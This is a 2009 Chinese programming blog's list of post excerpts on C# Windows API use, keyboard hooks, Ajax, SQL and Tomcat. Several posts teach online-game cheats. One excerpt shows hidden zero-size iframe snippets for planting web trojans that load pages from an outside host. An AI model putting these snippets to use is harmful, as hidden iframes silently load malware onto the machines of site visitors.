摘要:网上有很多外挂制作的教程,大多是讲针对大型网络游戏的,主要包含一些抓包、反汇编、C++的知识综合。事实也如此,常见的外挂都是使用VC++写的,从来没有过C#或者其他.NET语言编写的外挂。 作为微软.NET技术的忠实粉丝,这难免是一种遗憾。不过不要紧,下面流牛木马就教大家两招,包教包会,免收学费。:) 其实作为游戏外挂来说,主要就是三个功能:模拟键盘操作、模拟鼠标操作、修改内存数据。修...
阅读全文
posted @
2009-10-03 02:31
freedom831215
阅读(274)
推荐(0)
windows钩子的编写技术
摘要:Windows钩子是使用DLL编写的。在高层,钩子由需要监视其他应用程序或系统活动的应用程序使用;在低层,钩子是windows消息传递中的点, 函数根据这个路径被注入或附加,以过滤某些类型的消息,使之达到目的地。一旦捕获了这些消息,就可以对其进行修改、记录或丢弃。函数本身称为 过滤器。这些过滤器是按照正在过滤的事件的类型进行分类的。当一个过滤函数被附加到一个钩子时,称为“sethook...
阅读全文
posted @
2009-10-03 02:30
freedom831215
阅读(513)
推荐(0)
内存错误代码一览
摘要:0x0000 操作完成 0x0001 不正确的函数 0x0002 系统找不到指定的文件 0x0003 系统找不到指定的路径 0x0004 系统无法打开文件 0x0005 拒绝存取 0x0006 无效的代码 0x0007 内存控制模块已损坏 0x0008 内存空间不足,无法处理这个指令 0x0009 内存控制模块地址无效 0x000a 环境不正确 0x000b 尝试载入一个格式错误的程序 0x000...
阅读全文
posted @
2009-10-03 02:30
freedom831215
阅读(550)
推荐(0)
外挂心得 - 全局钩子
摘要:最初,我采用SendMessage WM_SETHOTKEY的方法,来实现在游戏中呼出外挂并激活。 这种做法确实简单(仅仅一个标准控件加几行代码),但存在非常大的弊端: 1 使用Hotkey呼出外挂将导致外挂窗口被强行带到前端,此时游戏窗口被最小化,非常麻烦而且游戏人物很危险。 注:WM_HOTKEY与WM_SETHOTKEY不是同一个事件,对于后者,MSDN说: An application s...
阅读全文
posted @
2009-10-03 02:29
freedom831215
阅读(1029)
推荐(0)
全局钩子
摘要:首先,我们需要编写一个全局钩子,使用它来激活外挂,激活键为F10。创建全局 钩子步骤如下: (1).选择MFC AppWizard(DLL)创建项目ActiveKey,并选择MFC Extension DLL (共享MFC拷贝)类型。 (2).插入新文件ActiveKey.h,在其中输入如下代码: #ifndef _KEYDLL_H #define _KEYDLL_H c...
阅读全文
posted @
2009-10-03 02:29
freedom831215
阅读(628)
推荐(0)
Windows消息大全使用详解API
摘要:消息,就是指Windows发出的一个通知,告诉应用程序某个事情发生了。 例如,单击鼠标、改变窗口尺寸、按下键盘上的一个键都会使Windows发送一个消息给应用程序。 消息本身是作为一个记录传递给应用程序的,这个记录中包含了消息的类型以及其他信息。 例如,对于单击鼠标所产生的消息来说,这个记录中包含了单击鼠标时的坐标。这个记录类型叫做TMsg, 它在Windows单元中是这样声明的: type TM...
阅读全文
posted @
2009-10-03 02:29
freedom831215
阅读(531)
推荐(0)
C#调用windows api的要点
摘要:在.Net Framework SDK文档中,关于调用Windows API的指示比较零散,并且其中稍全面一点的是针对Visual Basic .net讲述的。本文将C#中调用API的要点汇集如下,希望给未在C#中使用过API的朋友一点帮助。另外如果安装了Visual Studio .net的话,在C:\Program Files\Microsoft Visual Studio .NET\Fram...
阅读全文
posted @
2009-10-03 02:28
freedom831215
阅读(179)
推荐(0)
c#调用windows api
摘要:Api函数是构筑Windws应用程序的基石,每一种Windows应用程序开发工具,它提供的底层函数都间接或直接地调用了Windows API函数,同时为了实现功能扩展,一般也都提供了调用WindowsAPI函数的接口, 也就是说具备调用动态连接库的能力。Visual C#和其它开发工具一样也能够调用动态链接库的API函数。.NET框架本身提供了这样一种服务,允许受管辖的代码调用动态链接库中实现的非...
阅读全文
posted @
2009-10-03 02:28
freedom831215
阅读(238)
推荐(0)
C#+低级Windows API钩子拦截键盘输入
摘要:摘要 在家里,婴儿和其它动物可能会重击你的计算机键盘,致使出现各种无法预言的结果。本文中的这个C#示例应用程序将向你展示如何基于Windows钩子API来实现在击键造成任何危害之前捕获它们。 一. 简介 猫和婴儿有很多共同之处。他们都喜欢吃家中养植的植物,都非常讨厌关门。他们也都爱玩弄你的键盘,结果是,你正发送给你的老板的电子邮件可能是以半截句子发送出去的,你的Excel帐户也被加入了一些乱七八糟...
阅读全文
posted @
2009-10-03 02:27
freedom831215
阅读(1895)
推荐(0)
C# SendMessage 参数与例子
摘要:using System; using System.IO; using System.Threading; using System.Diagnostics; using System.Runtime.InteropServices; namespace XDF.GamePlugInCommon { /// <summary> /// API 的摘要说明。 /// </summ...
阅读全文
posted @
2009-10-03 02:27
freedom831215
阅读(365)
推荐(0)
C# API 大全
摘要:C# API C:\ProgramFiles\MicrosoftVisual Studio .NET\ FrameworkSDK\Samples\ Technologies\ Interop\PlatformInvoke\ WinAPIs\CS目录下有大量的调用API的例子。 一、调用格式 using System.Runtime.InteropServices; //引用此名称空间,简化后面的代...
阅读全文
posted @
2009-10-03 02:25
freedom831215
阅读(742)
推荐(0)
如何在C#中使用Win32 API和其他库
摘要:C# 用户经常提出两个问题:“我为什么要另外编写代码来使用内置于 Windows 中的功能?在框架中为什么没有相应的内容可以为我完成这一任务?”当框架小组构建他们的 .NET 部分时,他们评估了为使 .NET 程序员可以使用 Win32 而需要完成的工作,结果发现 Win32 API 集非常庞大。他们没有足够的资源为所有 Win32 API 编写托管接口、加以测试并编写文档...
阅读全文
posted @
2009-10-03 02:23
freedom831215
阅读(245)
推荐(0)
一个简单的模拟键盘鼠标操作的类
摘要:一个简单的模拟键盘鼠标操作的类,扩充 VirtualKeys 枚举就可以了,或者直接写! using System; using System.Runtime.InteropServices; using System.Text; class Keyboard { const uint KEYEVENTF_EXTENDEDKEY = 0x1; const uint KEYEVENTF_KEYUP ...
阅读全文
posted @
2009-10-03 02:22
freedom831215
阅读(517)
推荐(0)
WINDOWS 消息处理的尽情拥抱(C#)
摘要:就任何一个程序员来说,对WINDOWS消息机制的认知和对消息的处理,可以说是必修的内容。我们知道,WINDOWS消息的两个参数wParam 、lParam有时是数值类型,有时则是指针类型。特别是指针类型,它指向的是一个内存地址,那么对它们的处理则因开发语言的不同而有所不同。都说C#取消了指针(非安全模式例外),可我个人觉得,C#并没有真正取消指针,只是把她装扮得更加迷人罢了!而不需程序员通过 *p...
阅读全文
posted @
2009-10-03 02:05
freedom831215
阅读(641)
推荐(0)
视频捕获软件开发完全教学
摘要:视频捕获是指由专用的视频采集卡捕获声频和视频信息,然后将其进行数据化处理,再经过软件的压缩进行处理,这时就可对这些数据进行保存、回放、传输等各种操作。Windows专门提供了Video for Windows来对视频处理进行支持,提供的接口可以被大多数的视频采集卡支持,并有多种视频压缩驱动供选择(当然视频压缩可以自己开发),采集卡支持摄像头,TV等多种输入。一. 视频捕获快速入门视频捕捉将一个视频...
阅读全文
posted @
2009-10-03 02:05
freedom831215
阅读(234)
推荐(0)
使用鼠标获取窗体句柄
摘要:最近学习一些Windows相关的一些编程,需要获取一些窗体的句柄,因此上网查阅了一些资料,发现获取窗体的句柄主要通过User32的三个函数来完成:WindowFromPoint 返回一个窗口句柄GetWindowText 获取窗口标题GetClassName 获取类名下面是实现过程新建一个项目:GetHandle加入一个Button,TextBox和Timer控件后台代码如下:using Syst...
阅读全文
posted @
2009-10-03 02:03
freedom831215
阅读(438)
推荐(0)
Showwindow 及参数
摘要:[DllImport("user32.dll", EntryPoint = "ShowWindow", CharSet = CharSet.Auto)] public static extern int ShowWindow(IntPtr hwnd, int nCmdShow);函数功能:该函数设置指定窗口的显示状态。 参数: hWnd:窗口句柄。 nCmdShow:指定窗口如何显示。如果发送应用...
阅读全文
posted @
2009-10-03 02:03
freedom831215
阅读(818)
推荐(0)
API各函数作用简介
摘要:1.控件与消息函数 AdjustWindowRect 给定一种窗口样式,计算获得目标客户区矩形所需的窗口大小 AnyPopup 判断屏幕上是否存在任何弹出式窗口 ArrangeIconicWindows 排列一个父窗口的最小化子窗口 AttachThreadInput 连接线程输入函数 BeginDeferWindowPos 启动构建一系列新窗口位置的过程 BringWindowToTop 将指定...
阅读全文
posted @
2009-10-03 02:02
freedom831215
阅读(243)
推荐(0)
深入探讨.NET中的钩子技术
摘要:一、介绍 本文将讨论在.NET应用程序中全局系统钩子的使用。为此,我开发了一个可重用的类库并创建一个相应的示例程序。 图1 你可能注意到另外的关于使用系统钩子的文章。本文与之类似但是有重要的差别。这篇文章将讨论在.NET中使用全局系统钩子,而其它文章仅讨论本地系统钩子。这些思想是类似的,但是实现要求是不同的。 二、背景 如果你对Windows系统钩子的概念不熟悉,让我作一下简短的描述:...
阅读全文
posted @
2009-10-03 02:02
freedom831215
阅读(185)
推荐(0)
在C#中使用API回调函数的方法
摘要:在C#中使用API回调函数的方法就以EnumChildWindows和EnumChildProc为例子: 首先要声明EnumChildProc 为一个回调函数 public delegate bool EnumChildProc(int hwnd, IntPtr lParam); delegate为C#中的回调类型,相当于C++里面的CALLBACK,这样就可以在下面声明EnumChildWind...
阅读全文
posted @
2009-10-03 02:01
freedom831215
阅读(742)
推荐(0)
Windows系统文件详解
摘要:Windows系统文件详解B* ?8 m' g4 \% y, ~A ↑ : tO- r/ J! R6 d, a1 Y$ }' [ACCESS.CHM - Windows帮助文件 " e$ k: {- F! TACCSTAT.EXE - 辅助状态指示器 ' J2 F; Z* q7 D1 P, ]ADVAPI32.DLL - 高级Win32应用程序接口 0 L7 A2 ?7 R2 h6 k...
阅读全文
posted @
2009-10-03 02:01
freedom831215
阅读(821)
推荐(0)
C#中捕捉对话框的文本内容 EnumChildWindows
摘要:如何找到桌面上报错的窗口,不管是父窗口还是子窗口,而且获得它的出错信息呢? 主要是利用API函数:[DllImport("user32.dll")]public static extern int FindWindowEx(int hwndParent, int hwndChildAfter, string lpszClass, string lpszWindow);[DllImport("use...
阅读全文
posted @
2009-10-03 02:00
freedom831215
阅读(2755)
推荐(0)
Ajax Control Toolkit 控件介绍
摘要:1. Accordion【功能概述】 Accordion可以让你设计多个panel 并且一次只显示一个Panel .在页面上的显示效果就像是使用了多个CollapsiblePanels只不过每一次只展开其中一个CollapsiblePanel.Accordion控件内部包含了若干个AccordionPane,每一个AccordionPane的template里包括了对其Header和Content...
阅读全文
posted @
2009-10-03 01:49
freedom831215
阅读(273)
推荐(0)
Ajax控件介绍
摘要:1 Accordion 2 AccordionPane 实现多面板,每次都只显示一个,其他收藏起来,可以设置显示隐藏的时间和渐变效果哦3 AlwaysVisibleControlExtender 这个东西是将VerticalSide的值设置好后无论页面的滚动条滚动,这个目标控件一直都显示在页面的那个位置4 AnimationExtender 5 AnimationExtenderControlBa...
阅读全文
posted @
2009-10-03 01:48
freedom831215
阅读(184)
推荐(0)
Animation控件的使用语法
摘要:<ajaxToolkit:AnimationExtender ID="ae" runat="server" TargetControlID="ctrl"> <Animations> <OnLoad> ... </OnLoad> <OnClick> ... </OnClick> <OnMouseOver> ... &...
阅读全文
posted @
2009-10-03 01:48
freedom831215
阅读(442)
推荐(0)
UpdatePanel之缺点一
摘要:UpdatePanel这个缺点主要是因为他的更新机制造成的,UpdatePanel在更新时会把包含其中的内容全部提交,如果我们动态向UpdatePanel中添加内容,那么随着内容的增加,UpdatePanel提交的信息量将不断的增长,虽然仍是异步提交,但是却违背了ajax减少数据传输量的初衷;当动态添加的信息量过大,以至于页面上的其他信息都可以被忽略不计时,这个缺点将是致命的,好在前辈们找到了解决...
阅读全文
posted @
2009-10-03 01:47
freedom831215
阅读(632)
推荐(0)
10大加速Ajax开发的框架
摘要:1. APS.NET的官方解决方案ASP.NET AJAX 网址:ajax.asp.netASP.NET AJAX是微软.NET平台上的解决方案,提供涵盖伺服器端与用户端所需的AJAX技术与JavaScript整合机制。透过与下载与安装ASP.NET AJAX到Visual Studio 2005当中,即可利用预设的控制项,开发出一些视觉特效与非同步传输的应用。另外,ASP.NET AJAX也提供...
阅读全文
posted @
2009-10-03 01:47
freedom831215
阅读(204)
推荐(0)
一些常用的Ajax框架
摘要:一、基于浏览器的Ajax框架 1、AjaxCall 网址:http://www.ajaxify.com/run/testAjaxCaller/ 库文件代码比较简单,比较容易上手,并且支持脚本调试。 2、Flash JavaScript Integration Kit 网址:http://weblogs.macromedia.com/flashJavaScript/ 集成了Flash和Javascr...
阅读全文
posted @
2009-10-03 01:46
freedom831215
阅读(174)
推荐(0)
创新源于理解 轻松打造自己的AJAX框架
摘要:本文实现的只是一个最基本的AJAX框架.虽然AJAX并不是什么新技术,但是做为一个框架并不是一篇文章就能说明白的 本文实现的只是一个最基本的AJAX框架,虽然AJAX并不是什么新技术,但是做为一个框架并不是一篇文章就能说明白的。写这篇文章的目的:希望能帮助初学者更好的学习、运用AJAX框架。 我始终相信只有你真正理解了一种技术,了解了技术本身,你才能更好、更灵活的使用它。一个程序员对技术的...
阅读全文
posted @
2009-10-03 01:46
freedom831215
阅读(130)
推荐(0)
可定制的数据库备份和恢复程序
摘要:在我们做数据库系统的程序时,经常需要为客户做一个数据库的备份和恢复程序,特别是对于一些非专业的数据库用户,这个程序更是必不可少,而且操作必需足够简单。因为在很多系统中,数据库的备份恢复功能都是相近的,因此,我们最好做一个通用的数据库备份恢复程序,这样就不必每个系统都开发一套了。 要开发这样一套系统,我个人认为应该满足以下要求: 1. 备份恢复操作应该有历史记录(必需有一个备份列表,列出备份文件的相...
阅读全文
posted @
2009-10-03 01:44
freedom831215
阅读(205)
推荐(0)
sql插入a表中有a,b,c,d四个字段, B表中只有a,b,c三个字段
摘要:如果有两个表(A,B),a表中有a,b,c,d四个字段, B表中只有a,b,c三个字段, 如果我需要B表的内容合并到A表中,但有A.a=b.a的情况, A为主键,不允许重复值.具体怎么做. INSERT INTO A SELECT *,NULL FROM B WHERE NOT EXISTS(SELECT 1 FROM A WHERE A.a=B.a) , 中的1只是返回1,也可以使用*,只是使用...
阅读全文
posted @
2009-10-03 01:44
freedom831215
阅读(223)
推荐(0)
sql数据库备份和恢复
摘要:一、备份数据库 1、打开SQL企业管理器,在控制台根目录中依次点开Microsoft SQL Server 2、SQL Server组--双击打开你的服务器--双击打开数据库目录 3、选择你的数据库名称(如论坛数据库Forum)--然后点上面菜单中的工具--选择备份数据库 4、备份选项选择完全备份,目的中的备份到如果原来有路径和名称则选中名称点删除,然后点添加,如果原来没有路径和名称则直接选择添加,接着指定路径和文件名,指定后点确定返回备份窗口,接着点确定进行备份 二、还原数据库 1、打开SQL企业管理器,在控制台根目录中依次点开Microsoft SQL Server 2、SQL S
阅读全文
posted @
2009-10-03 01:43
freedom831215
阅读(177)
推荐(0)
SQL语句导入导出大全
摘要:/******* 导出到excel EXEC master..xp_cmdshell ’bcp SettleDB.dbo.shanghu out c:\temp1.xls -c -q -S"GNETDATA/GNETDATA" -U"sa" -P""’ /*********** 导入Excel SELECT * FROM OpenDataSource( ’Mic...
阅读全文
posted @
2009-10-03 01:43
freedom831215
阅读(223)
推荐(0)
一个表的信息插入到另一个表里面,如果遇到重复的就覆盖
摘要:第一个是更新 原有表信息,条件是新表里有的原有表信息的 update 原表 set 要更新的字段=x新表里的字段 from 原表 inner join 新表 on 关键字条件 第二个是把新表里有原表里没有的信息插入 insert into 原表 select * from 新表 where 关键字 not in (select 关键字 from 原表) 如果是全部信息一样算重复那可以用下面方法 1...
阅读全文
posted @
2009-10-03 01:42
freedom831215
阅读(487)
推荐(0)
SQL删除重复记录
摘要:例如:表test里有id,name字段,如果有name相同的记录只留下一条,其余的删除。name的内容不定,相同的记录数不定。 方案1: 1、将重复的记录记入temp1表: select [标志字段id],count(*) into temp1 from [表名]group by [标志字段id]having count(*)>1 2、将不重复的记录记入temp1表: insert temp...
阅读全文
posted @
2009-10-03 01:42
freedom831215
阅读(157)
推荐(0)
sql日期时间处理
摘要:日期时间批量增加UPDATE ManualSign SET signtime=dateadd(month,1,signtime) where datepart(month,signtime)<=61、日期格式化处理 DECLARE @dt datetime SET @dt=GETDATE() --1.短日期格式:yyyy-m-d SELECT REPLACE(CONVERT(v...
阅读全文
posted @
2009-10-03 01:41
freedom831215
阅读(379)
推荐(0)
更新一张表的整列
摘要:方法1: update aa set 要修改的列名='添加字段'+substring(要修改的列名,起始位置,len(要修改的列名)) 方法2: 首先直接新建一张同样的表: select * into cc from aa 然后: update aa set 1列=(selectreplace(1列,'需要替换的部分','需要更新的部分') from cc where aa.1列=cc.1列) 最...
阅读全文
posted @
2009-10-03 01:41
freedom831215
阅读(301)
推荐(0)
让Sql Server也能出现如VS一样的智能提示工具
摘要:一个非常实用的小插件,适合Sql Server2005以上版本,免费、无须注册。下面的图片是效果: http://rzhh.com.cn/down/sqlassc.rar
阅读全文
posted @
2009-10-03 01:40
freedom831215
阅读(273)
推荐(0)
MyEclipse输入提示
摘要:Alt+/不管用原因:新版本中MyEclipse的Alt+/是别的快捷键,Ctrl+Space是提示标签快捷键,而Ctrl+Space与输入法切换冲突不能用。 MyEclipse设置Alt+/快捷键 1). 点击Windows->Preferences->General->Keys 2). 在快捷键列表中找到:Content Assist,把它的快捷键 Ctrl+Space 改成...
阅读全文
posted @
2009-10-03 01:40
freedom831215
阅读(214)
推荐(0)
log4j.properties
摘要:log4j.rootLogger=DEBUG,CONSOLE,im,A1 log4j.addivity.org.apache=true # 应用于控制台 log4j.appender.CONSOLE=org.apache.log4j.ConsoleAppender log4j.appender.Threshold=DEBUG log4j.appender.CONSOLE.Target=System...
阅读全文
posted @
2009-10-03 01:39
freedom831215
阅读(180)
推荐(0)
MyEclipse调试
摘要:1, 首先在一个java文件中设断点,然后运行,当程序走到断点处就会转到debug视图下, 2, F5键与F6键均为单步调试,F5是step into,也就是进入本行代码中执行,F6是step over, 也就是执行本行代码,跳到下一行, 3,F7是跳出函数 step return 4,F8是执行到最后。 ===================================== 1.Step I...
阅读全文
posted @
2009-10-03 01:38
freedom831215
阅读(219)
推荐(0)
自动生成Java实体类
摘要:整体代码: package funny.jdbc; import java.io.FileWriter; import java.io.IOException; import java.io.PrintWriter; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSetMet...
阅读全文
posted @
2009-10-03 01:37
freedom831215
阅读(1474)
推荐(0)
JNDI配置
摘要:tomcat/con/contert.xml<Resource name="jdbc/books" auth="Container" type="javax.sql.DataSource"maxActive="0" maxIdle="0" maxWait="-1" username="sa" password="000ooo"driverClassName="c...
阅读全文
posted @
2009-10-03 01:36
freedom831215
阅读(249)
推荐(0)
Tomcat中文乱码问题的原理和解决方法
摘要:今天在用URL传递中文参数时发生乱码问题,原来是要在Tomcat那儿设置一下。搜索到这篇文章学习一下~ 自从接触Java和JSP以来,就不断与Java的中文乱码问题打交道,现在终于得到了彻底的解决,现将我们的解决心得与大家共享。 一、Java中文问题的由来 Java的内核和class文件是基于unicode的,这使Java程序具有良好的跨平台性,但也带来了一些中文乱码问题的麻烦。原因主要有两...
阅读全文
posted @
2009-10-03 01:36
freedom831215
阅读(273)
推荐(0)
解决:The Apache Tomcat Native library which allows optimal performance in production environments was not found
摘要:在启动Tomcat 6.0时发现第一条信息便是:The Apache Tomcat Native library which allows optimal performance in production environments was not found ……解决方法:相关文档:http://tomcat.apache.org/tomcat-6.0-doc/apr.h...
阅读全文
posted @
2009-10-03 01:35
freedom831215
阅读(497)
推荐(0)
Java控制字符长度
摘要:private long getStringByteLength(String str,int maxlength){ if(str==null) return 0; int tmp_len = maxlength; if(str.length()<maxlength) tmp_len = str.length(); else if(str.length()>maxlength*2)...
阅读全文
posted @
2009-10-03 01:34
freedom831215
阅读(238)
推荐(0)
错误代码大全
摘要:400 无法解析此请求。401.1 未经授权:访问由于凭据无效被拒绝。401.2 未经授权: 访问由于服务器配置倾向使用替代身份验证方法而被拒绝。401.3 未经授权:访问由于 ACL 对所请求资源的设置被拒绝。401.4 未经授权:Web 服务器上安装的筛选器授权失败。401.5 未经授权:ISAPI/CGI 应用程序授权失败。401.7 未经授权:由于 Web 服务器上的 URL 授权策略而拒...
阅读全文
posted @
2009-10-03 01:31
freedom831215
阅读(774)
推荐(0)
XHTML+CSS兼容性解决方案
摘要:XHTML+CSS兼容性解决方案小集使用XHTML+CSS构架好处不少,但也确实存在一些问题,不论是因为使用不熟练还是思路不清晰,我就先把一些我遇到的问题写在下面,省的大家四处找。 1.在mozilla firefox和IE中的BOX模型解释不一致导致相差2px解决方法: 引用内容: div{margin:30px!important;margin:28px;}注意这两个margin的顺序一定不能...
阅读全文
posted @
2009-10-03 01:31
freedom831215
阅读(137)
推荐(0)
各种网页木马挂马的代码
摘要:1、嵌入网页 <iframe src="http://网页木马地址" width="0" height="0" border="0"></iframe> 2、PHP网页挂马 <iframe src=http://qq.82647495.com width=0 height=0></iframe> 3、图片木马 <html> <bod...
阅读全文
posted @
2009-10-03 01:29
freedom831215
阅读(439)
推荐(0)
优秀网站源码、编程源码下载网站大集中
摘要:优秀网站源码、编程源码下载网站大集中 编辑 | 删除 | 权限设置 | 更多▼ 设置置顶 推荐日志 转到私密记事本 無賴 发表于2009年07月31日 14:48 阅读(0) 评论(0) 分类: 网页特效 权限: 公开 1.51源码:http://www.51aspx.com/ 2.源码之家:http://www.codejia.com/ 3.源码网:http://www.codep...
阅读全文
posted @
2009-10-03 01:15
freedom831215
阅读(441)
推荐(0)